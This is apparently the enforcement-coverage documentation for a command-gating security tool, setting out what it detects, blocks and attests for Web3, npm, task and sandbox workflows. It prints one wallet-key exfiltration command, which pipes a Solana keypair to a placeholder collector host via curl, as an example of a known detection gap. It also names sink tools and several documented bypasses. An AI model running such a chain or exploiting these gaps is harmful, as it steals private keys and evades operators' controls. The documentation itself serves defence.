Enforcement coverage

August 21, 2026 ยท View on GitHub

This document is the honest ledger for the Web3 and untrusted-task execution boundary. It exists because "tirith supports X" is not a single claim: seeing a thing, deciding about it before it happens, stopping it, limiting it once it runs, and recording that it was true once are five different capabilities, and this stack delivers different amounts of each.

It is a companion to, not a replacement for, the generated capability matrix. That file answers "what does this command inspect". This one answers "what can tirith actually do about it".

How to read the columns

ColumnThe question it answers
DetectionCan tirith see this at all, on some surface?
Preflight decisionDoes tirith produce a decision (a verdict, an action, a task decision) before the thing happens?
Execution enforcementCan tirith prevent the thing from executing?
ContainmentCan tirith limit what it does while it runs?
AttestationIs there a signed, content-addressed record of what was true at one moment?
UnsupportedThe platform or backend where the row above is simply not available.

Cells are Full, Partial, or None. Two rules govern the wording.

"Partial" in the execution-enforcement column always means the same thing. Enforcement exists only where tirith owns the transition, or where a shell hook it installed is in a blocking mode. It does not exist for a non-interactive shell, a direct exec, a program that links tirith-core and calls it as a library, or an agent process that never loaded the hook. TIRITH=0 bypasses the gate unless allow_bypass_env: false is set, and a root or admin user bypasses tirith trivially. Nothing in this stack changes that; see threat model.

"None" is never softened into "planned". A None cell means the capability is absent from this branch, not that it is coming.

The matrix

Web3 command guard

CapabilityDetectionPreflight decisionExecution enforcementContainmentAttestationUnsupported
Web3 command grammar (Cast, Forge, Hardhat, Solana, Anchor)Full for the declared grammarFullPartialNoneNoneforge create has no grammar arm, and the gap is SILENT on the engine surfaces: it returns a clean allow, not an incompleteness finding
On-chain write / signer / endpoint findingsFullFullPartialNoneNonenone
web3_guard trusted policyPartial (only networks, deny_rpc, allowed_signers, action_unclassified_rpc reach a rule)Partial (same four fields)PartialNoneNonedeny_destinations, require_command_card, command_card_key_ids, selector_aliases, action_incomplete_analysis, and action_ambiguous_hardhat_production_run are parsed, validated, and repo-sanitized but consulted by no rule
Wallet, key, seed, and keystore recognitionFull for the declared formatsFullPartialNoneNone (recognition drives mandatory redaction, which is not an attestation)none
Wallet source-to-sink exfiltrationPartialPartialPartialNoneNonesee the nested-body gap below
Command-card v2 Web3 bindingsNoneNoneNoneNoneNone (the data structure and its ed25519 verification exist; nothing issues or checks one)the whole schema-2 Web3 mechanism is unreachable: no surface compares a card against an observed command, and command-card create cannot author one

Untrusted task boundary

CapabilityDetectionPreflight decisionExecution enforcementContainmentAttestationUnsupported
Task envelope, source provenance, capability decisionFullFullNone (the decision by itself stops nothing)NonePartial (content-bound provenance receipts, verified not issued)none
tirith task check and the tirith_check_task MCP toolFullFullNone (both declare observe_only)NoneNoneMCP tool is refused unless TIRITH_MCP_PREVIEW=1
Task gate at tirith-owned transitionsFullFullPartial, and inert by defaultPartial (a denied effect tightens the capsule spec)Partial (an audit-chain line at the gateway-forward boundary only; no separate receipt)the other eight owned boundaries write no record in any mode

Supply chain

CapabilityDetectionPreflight decisionExecution enforcementContainmentAttestationUnsupported
npm command grammar and registry identity factsFull for the declared grammarFullPartialNoneNoneno tarball bytes are ever fetched, hashed, or bound
npm signature and provenance receiptPartial (npm's own answer, parsed)None (explicit command, not a gate)NoneNoneFull for the receipt documentWindows (npm.cmd is refused); npm outside the contract table; a project .npmrc that reconfigures the audit
GitHub Actions artifact flowFull for the modelled surfaceFullNone (a scanner finding, not a gate)NoneNoneonly directory scans run the post-pass: tirith check on one file, tirith_scan_file, and the LSP do not

Untrusted projects and browsers

CapabilityDetectionPreflight decisionExecution enforcementContainmentAttestationUnsupported
capsule run --preset untrusted-projectFull (project tree digest)FullFull (refuses before any copy or spawn)Full where the backend delivers itPartial (content-addressed always; anchored only when an audit chain is configured; signed only when an audit key exists)everything except x86_64 Linux with a usable Landlock ABI; domain allow-listing is unavailable in every backend; TIRITH_LOG=0 leaves the receipt unanchored
Chromium extension integrity auditFull for the extension source treeNone (explicit command, not a gate)NoneNonePartial (content-addressed baseline, not anchored in the audit chain)Firefox and XPI are refused by name; Chrome's Secure Preferences MAC is not verified

Point-in-time evidence

CapabilityDetectionPreflight decisionExecution enforcementContainmentAttestationUnsupported
Build receipt (attest build / verify-build)Full for the two named treesNoneNoneNoneFull, point-in-time onlynever anchored in the audit chain
Deployment receipt (attest deployment / verify-deployment)Full for the routes actually fetchedNoneNoneNoneFull, point-in-time onlyone HTTPS origin; a cross-origin redirect is a mismatch, not a follow

Supporting engine work

CapabilityDetectionPreflight decisionExecution enforcementContainmentAttestationUnsupported
Byte-based content dispatch and global output boundsFullFullPartialNoneNonenested and self-extracting archive content is a declared gap
PDF hidden-instruction and confirmation-suppression analysisPartialFullPartialNoneNoneunsupported colour spaces and renderer cases record incompleteness
ThreatDB publication correctnessFull for the compiled sourcesFullPartialNonePartial (the database is signed and sequence-ordered)no new feed and no new database format is enabled by this branch

Why each cell says what it says

Web3 command grammar

crates/tirith-core/src/rules/web3/ parses Cast, Forge, Hardhat, Solana, and Anchor invocations into typed facts. It runs from crates/tirith-core/src/engine.rs:3067, so every surface built on the engine (tirith check, the shell hook, tirith_check_command, the gateway) sees it.

Detection is Full for the declared grammar and nothing wider. forge create, the canonical Foundry deploy command, has no grammar arm: it yields an Unknown operation with an AmbiguousSubcommand gap.

That gap is silent on the engine surfaces, and an operator must not read the silence as safety. rules::web3_gate::check iterates only the commands the grammar recognized (crates/tirith-core/src/rules/web3_gate.rs:37-45); it never reads the parse result's completeness or its gaps, and no Web3 path emits analysis_incomplete (the only emitters are in crates/tirith-core/src/repo_hooks.rs). So on tirith check, the shell hook, tirith_check_command, and the gateway, forge create src/Token.sol:Token --rpc-url <mainnet> --keystore <path> returns {"action":"allow","findings":[],"tier_reached":3} and exit 0, while the comparable cast send against the same endpoint returns warn with web3_state_changing_command. The gap is recorded in the parse result, and tirith task check does surface it as "complete": false, but nothing on the engine surfaces reports it. It is listed here rather than left to be discovered.

Making the gap visible on the engine surfaces means emitting a finding where none is emitted today, which is a behaviour change and therefore a future slice, not a documentation slice.

Static configuration reads (foundry.toml profile inheritance, Hardhat networks) happen only when the caller supplied a working directory (engine.rs:3061-3065), so an analysis with no cwd never touches the filesystem and reports the corresponding gap instead.

On-chain write, signer, and endpoint findings

Three rule ids, all in crates/tirith-core/src/rules/web3_gate.rs: web3_state_changing_command, web3_signer_risk, and web3_network_policy_violation.

The severity ladder is grammar-driven, not heuristic (web3_gate.rs:185-231, 234-283): a state-changing operation is Medium, rising to High only when the same command also disables a declared safety control (--skip-simulation, --skip-preflight, --force); literal raw signer material in argv is Critical; an unlocked node or an interactive prompt is High. An operation explicitly aimed at devnet, testnet, localhost, localnet, or a loopback endpoint produces no state-change finding at all (web3_gate.rs:129-171), because deploying to devnet is routine and warning on it is how a control gets ignored.

Evidence is categorical. A finding names the tool, the operation, and the signer KIND. It never carries a key, a keystore path, a destination address, or the raw command.

This is grammar and policy, not chain analysis. Nothing here reads chain state, simulates a transaction, resolves an ENS name, scores an address, or inspects a contract. An address is a string tirith deliberately keeps out of its own output.

web3_guard trusted policy

crates/tirith-core/src/web3_policy.rs. The whole section is built around one invariant: a repository may tighten, never authorize. Grant-bearing collections (networks, selector aliases, allowed signers, approval key ids) are RESET when they arrive from a repository-scoped policy; denial collections UNION; actions and modes take the stricter value on a total lattice. A property test proves allowed_effects(merge(trusted, hostile_repo)) is always a subset of allowed_effects(trusted).

The defaults are observational (web3_policy.rs:236-253): no networks, no signers, no denials, and every action at warn. With no trusted networks declared, the unclassified-endpoint path does not fire at all (web3_gate.rs:315), so a fresh installation gains no new warnings from this section.

An endpoint no trusted network claims is reported through action_unclassified_rpc and says in so many words that it is "not a claim that the host is malicious". Treating an unrecognised host as hostile would train operators to ignore the rule.

Six fields of this section are declared but inert, and tirith policy validate will not tell you. rules::web3_gate is the only consumer of policy.web3_guard (crates/tirith-core/src/engine.rs:3072), and it reads exactly five things: denies_rpc (web3_gate.rs:299), classify_rpc (:300), networks (:315), action_unclassified_rpc (:316), and permits_signer (:352). Everything else in the section is parsed, bounds-checked, merged, and reported by tirith policy effective, but never consulted:

FieldStatus today
deny_destinationsno rule looks up a destination; web3_policy.rs exposes no denies_destination method at all
require_command_cardno surface requires or checks a card; see the command-card row above
command_card_key_idssame, and policy validate only checks it is non-empty when require_command_card is true
selector_aliasesno rule resolves a selector alias
action_incomplete_analysisonly the task_gate copy is read (task_boundary.rs:325); this one is not
action_ambiguous_hardhat_production_runno production reader anywhere

Concretely: a policy setting deny_destinations to the zero address, require_command_card: true with a key id, and both unread actions to block validates clean ("valid": true, exit 0), and cast send 0x0000000000000000000000000000000000000000 --value 1ether --rpc-url <endpoint> --keystore <path> still returns one web3_state_changing_command MEDIUM at action warn, with no policy violation and no card requirement. npx hardhat run scripts/deploy.js --network mainnet returns allow with zero findings.

The repo-scope directions documented for these fields are real and tested, so a hostile repository still cannot introduce a network or an approval key. What does not exist is any rule that acts on the trusted value. Wiring these fields to a rule is a behaviour change and therefore a future slice, not a documentation slice.

Wallet, key, seed, and keystore recognition

crates/tirith-core/src/sensitive_assets.rs is the single catalogue: reviewed wallet paths, keystore shapes, browser-wallet storage roots, Solana keypair arrays, BIP-39 mnemonics with real checksum validation, EVM scalars, and hosted RPC credentials.

The attestation column is None, and the distinction matters: recognition produces no signed record that a secret was present, and it should not, because such a record would itself be a secret-adjacent artifact.

What recognition DOES drive is mandatory redaction, which is a different property from attestation. It runs before and after layout and control sanitization and before truncation, across findings, evidence, verdicts, the audit chain, session state, execution state, SARIF, and every CLI, MCP, gateway, and manual renderer. A private PATH is redacted by a separate mechanism from a secret VALUE, because a path is not a secret byte string and value-based redaction cannot see it: a BIP-39 mnemonic in a command was scrubbed correctly while ~/.config/Exodus/exodus.wallet in the same command was not, until path redaction was added at the shared entry point that evidence, the audit log, and last_trigger.json all pass through.

Wallet source-to-sink exfiltration

Detection is Partial, deliberately, and the gap is specific.

What works: a proven read of a reviewed sensitive source flowing to a proven remote sink, across ordered same-command segments, including archive, base64, hex, compressor, and encryptor staging hops, xargs and find -exec operand promotion, HTTPie and xh, scp, rsync, rclone, the netcat family, socat, PowerShell Invoke-WebRequest / Invoke-RestMethod, and DNS sinks. A source-only read stays below confirmed exfiltration; an unresolvable path fails closed as analysis_incomplete rather than as a confident allow.

What does not work, verified on the built binary at this branch tip:

bash -c "cat ~/.config/solana/id.json" | curl --data-binary @- https://collector.invalid/upload

is a confident allow. The nested body IS analyzed, so the same chain entirely inside -c blocks correctly, and the same chain entirely outside -c blocks correctly. What escapes is the sink-outside / producer-inside arrangement: the inner body's read provenance is not propagated to the outer pipeline's dataflow. Related unprobed shapes are xargs -a <file>, parallel -a <file>, and while read loops. Fixing this needs nested-body read provenance threaded through the dataflow loop, which is a behaviour change and therefore a future slice, not a documentation slice.

Command-card v2 Web3 bindings

Every cell in this row is None, and the reason is that the mechanism has no caller. It is described here so nobody configures a control that does not run.

crates/tirith-core/src/command_card.rs defines a schema-2 card that binds the named network, family, chain or genesis identity, signer KIND, destinations, artifact hashes, policy identity, the ordered operation set, and the authorized approval key. The comparison routine Card::approves_web3 (command_card.rs:518) implements the semantics, and its unit tests (command_card.rs:1808-1876) exercise them.

Nothing calls it. approves_web3, Web3CardBindings, and CARD_SCHEMA_V2 have zero references outside command_card.rs and its own tests. The engine's hot path calls command_card::evaluate_card (crates/tirith-core/src/engine.rs:1754), which performs v1 semantics only: signature and expiry verification plus card.command_matches(cmd) string equality. There is also no authoring surface, because tirith command-card create exposes only --command, --expected-domain, --script-sha256, --writes, --requires-sudo, and --expires, so a schema-2 card cannot be produced by the CLI at all.

The three structural limits below are properties of that unreachable routine. They are stated for the reader of the code, not as controls an operator can turn on. A card may never bind raw signer material: raw_private_key, raw_keypair, mnemonic, stdin, prompt, and unknown are refused at construction and again at verification. A v1 card returns V1CannotApproveWeb3 rather than approving a Web3 operation. Operation comparison is ordered-set equality rather than subset.

Both schema-2 fields are omitted from the JSON unless set, so v1 signing bytes are unchanged and every checked-in v1 signature still verifies. That is the one claim in this section with a live consequence.

Wiring a card check into a surface, and adding the flags to author one, is a behaviour change and therefore a future slice, not a documentation slice.

Task envelope, provenance, and the capability decision

crates/tirith-core/src/task.rs. Three rules shape it, and each is checkable in the code rather than asserted here.

The caller does not get to say where content came from. claimed_source is recorded as a claim; effective provenance is assigned by the tirith-owned ingress adapter. SourceKind::is_trusted is unconditionally false (task.rs:71-73) for every source kind including repository config, because repository config is exactly what a malicious pull request edits.

Verified live at this branch tip: an envelope whose source claims agent_config, submitted through the github-issue adapter, resolves to "effective_source": "issue_body".

Operations define their effects, not their descriptions. Natural language infers nothing at all: a narrative action records that something unmodelled was asked for and contributes no effect.

Nothing grants. decide intersects the trusted gate policy, source eligibility, and boundary support. A verified receipt can fail to lift a restriction; it can never exceed the trusted policy.

Assessment is deterministic and side-effect free: task.rs contains zero filesystem, network, and clock calls, and the clock is caller-supplied.

tirith task check and the preview MCP tool

Both are diagnostic. They report what an envelope WOULD be allowed to do and declare BoundaryCapability::ObserveOnly, so the limit is structural and visible in their own output rather than only in prose. Execution enforcement is None for both, and that is the correct value: a report is not a gate.

The MCP tool is preview-gated. tirith_check_task is absent from the frozen default tools/list and is refused BY NAME unless TIRITH_MCP_PREVIEW=1 is set (crates/tirith-core/src/mcp/tools.rs:174-181, 332-335). See compatibility for why the default list cannot simply grow a tool.

Task gate at tirith-owned transitions

crates/tirith-core/src/task_boundary.rs defines nine owned boundaries (task_boundary.rs:118-130) and is called at ten sites:

Boundary tokenWhere
gateway_forwardbefore the MCP gateway registers a pending request and writes upstream
package_approvalbefore tirith pkg approve runs the resolver
package_resolvebefore tirith pkg install runs the same resolver network
package_install_preparationbefore the target environment is checkpointed
package_manager_networkbefore tirith install <manager> contacts a registry
package_manager_executionbefore the package manager is spawned
remote_script_runbefore tirith run <url> and tirith install url <URL> download and launch
config_writebefore a tirith-owned config file is published by rename
capsule_preset_runbefore capsule run --preset untrusted-project copies or spawns

Four properties, each pinned by a test. Enforcement keys on the MODE, never on the denial set, so an operator who filled in effect sets without choosing a mode does not accidentally get live enforcement. Observe mode never raises a verdict to Warn, because the gateway converts Warn into a hard deny when warn_action is deny. Each gate precedes its own irreversible step, proven by running each integration test twice: once with the gate off to show the boundary is reachable, once enforcing to show the same evidence is gone. And the default ships inert: TaskGateMode defaults to Off and an Off gate does not even write an audit line.

Only one of the nine boundaries records anything, in any mode. BoundaryAssessment::is_recordable() (task_boundary.rs:203) has exactly one production caller, crates/tirith/src/cli/gateway.rs:3214, and write_task_boundary_audit is defined and called only there (gateway.rs:4227 and :3215). The gateway_forward boundary writes an audit-chain line in observe and enforce modes; the other eight decide, refuse or allow, and write nothing anywhere. An observation burn-in run against pkg approve under mode: observe produces no audit file at all.

This matters for anyone planning a burn-in: eight of the nine boundaries cannot be measured from records, so "no records" means "not instrumented", never "not exercised". Instrumenting them is a behaviour change and therefore a future slice, not a documentation slice.

The containment cell is Partial because a denied effect narrows the capsule spec rather than merely refusing: network_egress forces deny-all networking, filesystem_write clears the write roots, and resource_escalation clamps every resource ceiling to the shared conservative values. It only ever tightens, which tightening_the_untrusted_project_preset_never_widens_it pins.

The trap an operator must know about, stated precisely. Effect inference models the Web3 shell grammar and nothing else, so nearly every ordinary SHELL command is reported INCOMPLETE. action_incomplete_analysis only applies when !decision.complete (crates/tirith-core/src/task_boundary.rs:325-330), so block bites at exactly the five boundaries that submit a shell envelope: capsule_preset_run (capsule_run.rs:255), gateway_forward (gateway.rs:3202), remote_script_run (run.rs:68 for tirith run <url> and install.rs:3154 for tirith install url <URL>), and package_manager_network plus package_manager_execution, which share the evaluate_install_boundary helper at install.rs:1765.

It never fires at the other four. ProposedAction::PackageInstall and ProposedAction::ConfigWrite leave complete = true (crates/tirith-core/src/task.rs:638-652), so tirith pkg approve, the pkg install resolve and prepare stages, and every tirith-owned config write assess as complete and are unaffected by this setting. A one-action package_install envelope returns "complete": true; a config_write envelope returns "complete": true; {"shell":{"command":"pip install requests"}} returns "complete": false.

So block is not "refuses everything". It is "refuses unmodelled shell at five of the nine owned boundaries, and changes nothing at the other four". Whether that trade is worth making is an operator decision, not a foregone one. The conservative default remains warn, and effects_denied_for_untrusted_sources is the blunter and more predictable control, but read the next paragraph before reaching for it.

effects_denied_for_untrusted_sources is an unconditional denial of the effect, not a denial scoped to agent-supplied content. The name reads as though it discriminates by origin. At these boundaries it cannot. SourceKind::is_trusted returns false for every kind (crates/tirith-core/src/task.rs:71-73), and every owned boundary attributes its operation to IngressAdapter::Unattributed (cli/mod.rs:665, cli/pkg.rs:651, cli/gateway.rs:3207, cli/capsule_run.rs:259, cli/run.rs:72, cli/install.rs:1769 and :3158), which is the truthful answer because an argv is just an argv. allowed_effects (crates/tirith-core/src/web3_policy.rs:451) therefore filters that effect out on every call, including the operator's own typed commands.

Under mode: enforce with effects_denied_for_untrusted_sources: [policy_change, package_install], tirith pkg approve pip requests refuses with "task gate denied these effects at this boundary: package_install", and tirith policy init refuses with "task gate refused this configuration write: task gate denied these effects at this boundary: policy_change". The same policy under mode: observe allows both, so the mode is the only variable. Price that cost before enabling it; it is a real control, and it is broader than its name suggests.

npm command grammar and registry identity facts

crates/tirith-core/src/npm_command.rs is one grammar replacing four divergent private copies. It covers the npm, npx, pnpm, yarn, bun, and bunx launchers (npm_command.rs:81-108), including dlx, exec, ci, and the common install misspellings, and it distinguishes pnpm exec (local binary) from pnpm dlx (fetch and run).

corepack is not modelled. The token appears nowhere in npm_command.rs or in the tier-1 pattern table, so a corepack pnpm@x dlx <pkg> invocation is not recognised as a package operation. That is a coverage gap, recorded rather than claimed either way.

crates/tirith-core/src/provenance/npm_facts.rs parses what a packument SAYS: the tarball URL, the dist.integrity SRI, the legacy dist.shasum, the signature list, and the attestation pointer. Every one of those is a FACT, never a verification, and the enum makes that structural: NpmVerificationState::Verified has no constructor in this crate and a unit test asserts it. npm signs with ECDSA P-256 and this workspace carries only ed25519-dalek; the Sigstore closure the attestations would need is off because it requires a newer Rust than the workspace MSRV.

Tirith does not download, inspect, or bind the tarball bytes npm installs. There is nothing local for the SRI to cover, so no binding is attempted. This is not an npm firewall and this branch does not build toward one: there is no npm quarantine, no npm install transaction, and no npm rollback.

npm signature and provenance receipt

tirith pkg attest-npm resolves npm through the trusted-child mechanism (no shell, so an alias cannot hijack the name), discovers its exact version, and looks that version up in a CLOSED, fixture-backed contract table. The table has exactly one entry, because exactly one fixture was captured from a real npm rather than extrapolated.

Detection is Partial because the answer is npm's, parsed, not tirith's. The one binding tirith performs itself is comparing an attestation's in-toto subject digest against the integrity SRI the project's own package-lock.json pins; those cover the same tarball bytes, so a disagreement means the attestation is over different bytes than the lockfile will install.

Two consequences an operator meets in practice. A non-public registry is partial rather than clean, because npm ships the Sigstore TUF root that pins only registry.npmjs.org. And a project .npmrc that sets a key deciding what npm verifies or where it verifies it from (registry, ca, cafile, strict-ssl, _keys, omit, userconfig, globalconfig) returns partial and runs NO audit command: the audited project does not get to configure its own audit.

GitHub Actions artifact flow

crates/tirith-core/src/rules/workflow_artifacts.rs. A repository post-pass, not a per-file rule, because no single workflow file can prove a producer-to-consumer chain. A WorkflowArtifactPoisoning High requires the full proven chain: fork-reachable untrusted producer, artifact under a statically known name, privileged workflow_run consumer bound to the TRIGGERING run, matching artifact identity, and an execute, source, PATH-mutation, publish, or deploy sink. Anything less is recorded as incompleteness, never guessed.

The presence-level WorkflowRunTrigger finding is downgraded from High to Medium only for consumers the post-pass had COMPLETE visibility into and proved no chain for.

The post-pass runs inside scan::scan (crates/tirith-core/src/scan.rs:254, invoking it at :436), so it runs on every directory-scan caller, not only the CLI. Those callers are tirith scan (crates/tirith/src/cli/scan.rs:248), the tirith_scan_directory MCP tool (crates/tirith-core/src/mcp/tools.rs:742), and both MCP scan resources (crates/tirith-core/src/mcp/resources.rs:153 and :244). An agent gating on tirith_scan_directory therefore sees the same downgraded Medium and the same WorkflowArtifactPoisoning chain findings the CLI produces, and does not need to re-run the CLI to get them.

What genuinely never runs the post-pass, and therefore keeps the original severity, is per-file analysis: tirith check on a single workflow file, the tirith_scan_file MCP tool (mcp/tools.rs:657, via scan_single_file_guarded), and the LSP.

Execution enforcement is None. This is a scanner finding. It can gate a merge through CI exit codes if an operator wires it that way; tirith does not stop a workflow from running.

capsule run --preset untrusted-project

The one row in this document with Full execution enforcement, and it earns it by refusing rather than by containing more.

required_coverage was not weakened (crates/tirith-core/src/capsule/mod.rs:858-874), so the preset is genuinely enforceable only on x86_64 Linux with a usable Landlock ABI. Raw-network denial needs seccomp, which is x86_64 Linux only in this build; macOS cannot enforce a per-process memory ceiling or a process-count ceiling at all; and the parent-owned wall-clock and combined-output supervisor is Linux-only.

Verified live on the macOS development host at this branch tip: the command refuses before anything is copied or spawned, exits 1, writes a refusal receipt, reports project_copy_materialized: false, and names the exact missing control ("missing: resource_limits ... the parent-owned wall-clock and combined-output supervisor this preset requires is implemented only on Linux").

Attestation is Partial, and the reason is the anchoring condition. The receipt is always content-addressed and always written, including for a refusal. It is ed25519-signed only when the installation has an audit signing key, and it is anchored in the audit hash chain only when an audit chain is CONFIGURED. With the documented TIRITH_LOG=0 set, the same command prints

receipt is unsigned (no audit signing key configured) and NOT anchored in the audit chain

where an installation with the log enabled prints ... and anchored in the audit chain. An anchor SKIP is deliberately not a failure and does not downgrade the exit code (crates/tirith/src/cli/capsule_run.rs:913-925), so a caller that reads only the exit status cannot detect it. Read the printed line, or check the chain, before treating a capsule receipt as tamper-evident.

Domain allow-listing is unavailable in every backend. domain_proxy_enforced is false in the Linux, macOS, and Windows backends and in NoOpCapsule, and a coverage ledger may not claim domain egress without raw socket denial. An allow-list preset would therefore fail closed on every host while implying a capability the product does not have, so the preset offers deny-all only. Dependencies must be vendored or installed by a separate trusted transaction.

Chromium extension integrity audit

tirith browser audit for Chrome, Chromium, Brave, and Edge. Explicit, one-shot, read-only: it never removes, quarantines, or watches anything. Firefox and XPI are refused by name.

Attestation is Partial for one reason stated rather than implied: the baseline is ed25519-signed when the installation has an audit key, but it is not anchored in the audit hash chain. The chain's receipt anchors are typed per receipt kind and mint their trust capability by re-reading a receipt from a tirith-owned directory under a 0600 owner contract, and a baseline written to an operator-chosen path cannot satisfy that constructor.

A second limit, also stated rather than implied: Chrome's Secure Preferences MAC is not verified. Three install-class fields are read from it, and their values are used for classification; the file's own integrity signature is not checked, so a local attacker who can rewrite that file can change the reported install class.

This is not browser forensics. Cookies, history, saved passwords, Local Storage, IndexedDB, extension storage, wallet databases, and Local State are never opened. Because Local State is never opened, the audit cannot tell an operator which human a profile belongs to; profile identity is the profile directory name and nothing else. There is no monitor, no daemon, and no collection.

Build and deployment receipts

tirith attest build records the exact bytes of two named trees at one moment, plus the commit, dirty state, lockfile digests, policy projection hash, a redacted argv digest, and the identity of the one external tool tirith itself ran.

It is not a reproducible-build claim. Tirith does not run the build, does not observe the compiler, and cannot say the output was produced from the source. Two receipts over the same source with different outputs are both perfectly valid receipts. Every rendering surface and the receipt's own caveats field say so, and validate refuses a receipt that dropped the caveats.

tirith attest deployment proves one thing: at the timestamp it records, the routes it listed returned the byte sequences the build receipt bound. It is not continuous monitoring, it says nothing about routes it did not fetch, and a CDN can serve different bytes to the next client, in another region, a second later. verify-deployment re-checks the DOCUMENT and deliberately does not re-fetch, because a second measurement presented as verification of the first would be exactly the continuous-monitoring claim this work refuses to make.

Neither receipt is anchored in the audit hash chain, for the same operator-chosen-path reason as the browser baseline. BuildCoverage::audit_chain_anchored is always false and validate refuses a receipt that claims otherwise.

What this branch does not do

Named explicitly so no reader has to infer it from silence.

  • No on-chain analysis. No chain state is read, no transaction is simulated, no mempool is watched, no address or contract is scored, and no incident is attributed on-chain.
  • No npm artifact firewall. No npm tarball is downloaded, extracted, quarantined, hashed, or bound. There is no npm install transaction and no npm rollback. The existing artifact firewall remains Python-only.
  • No browser forensics. No browsing data is read, no browser is monitored, nothing is quarantined or removed, and no infostealer is attributed.
  • No reproducible builds. No receipt in this branch claims that an output was produced from a source, and none can.
  • No universal enforcement. Enforcement exists at nine tirith-owned transitions and in a shell hook that must be installed, interactive, and in a blocking mode. Everything else is detection, preflight, or evidence.
  • No new live feed, and no new database format. No Polkadot, MISP, PhishTank, ScamSniffer, or Chainabuse channel is activated, and no ThreatDB v3 asset exists to shadow v2.